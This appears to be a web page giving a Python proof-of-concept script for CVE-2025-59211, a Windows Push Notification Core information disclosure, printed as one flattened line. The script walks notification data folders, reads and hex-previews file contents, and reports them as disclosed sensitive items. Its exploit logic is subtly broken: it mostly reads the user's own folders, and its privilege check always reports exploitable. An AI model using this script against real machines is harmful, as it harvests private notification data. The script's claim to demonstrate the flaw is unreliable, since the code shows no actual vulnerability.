CVE-2025-59211：Windows推送通知核心信息泄露漏洞

# CVE-2025-59211 - Windows Push Notification Core Information Disclosure # Vulnerability Type: Local Information Disclosure (CWE-200) # CVSS: 5.5 (MEDIUM) - AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N # # This is a conceptual PoC demonstrating the exploitation of an information # disclosure vulnerability in Windows Push Notification Core. # The vulnerability allows a low-privileged local user to access sensitive # information that should be restricted. import os import sys import subprocess import ctypes from ctypes import wintypes # Check if running with at least low privileges def check_privileges(): try: return os.getuid() != 0 if hasattr(os, 'getuid') else True except Exception: return True # Attempt to access Windows Push Notification Core sensitive data # The vulnerable component may expose notification data through # named pipes, shared memory, or accessible file paths def exploit_wnp_info_disclosure(): """ Exploit Windows Push Notification Core information disclosure. The WPN Core service may store sensitive notification data in locations accessible to low-privileged users. """ sensitive_paths = [ os.path.expandvars(r'%LOCALAPPDATA%\Microsoft\Windows\Notifications'), os.path.expandvars(r'%PROGRAMDATA%\Microsoft\Windows\Notifications'), os.path.expandvars(r'%LOCALAPPDATA%\Microsoft\Windows\PushNotificationCore'), ] disclosed_data = [] for path in sensitive_paths: try: if os.path.exists(path): for root, dirs, files in os.walk(path): for f in files: filepath = os.path.join(root, f) try: with open(filepath, 'rb') as fh: content = fh.read(4096) if content: disclosed_data.append({ 'path': filepath, 'size': os.path.getsize(filepath), 'preview': content[:64].hex() }) except PermissionError: pass except Exception as e: print(f"[!] Error accessing {path}: {e}") return disclosed_data # Attempt to query WPN Core service via SCM def query_wnp_service(): """Query Windows Push Notification Core service configuration.""" try: result = subprocess.run( ['sc', 'query', 'WpnService'], capture_output=True, text=True ) return result.stdout except Exception: return None if __name__ == "__main__": print("[*] CVE-2025-59211 - WPN Core Info Disclosure PoC") print(f"[*] Privileges: {'Low (exploitable)' if check_privileges() else 'Elevated'}") # Query service status svc_info = query_wnp_service() if svc_info: print(f"[*] WPN Service Status:\n{svc_info}") # Attempt information disclosure data = exploit_wnp_info_disclosure() if data: print(f"[+] Disclosed {len(data)} sensitive items:") for item in data[:10]: print(f" - {item['path']} ({item['size']} bytes)") else: print("[-] No accessible sensitive data found (system may be patched)")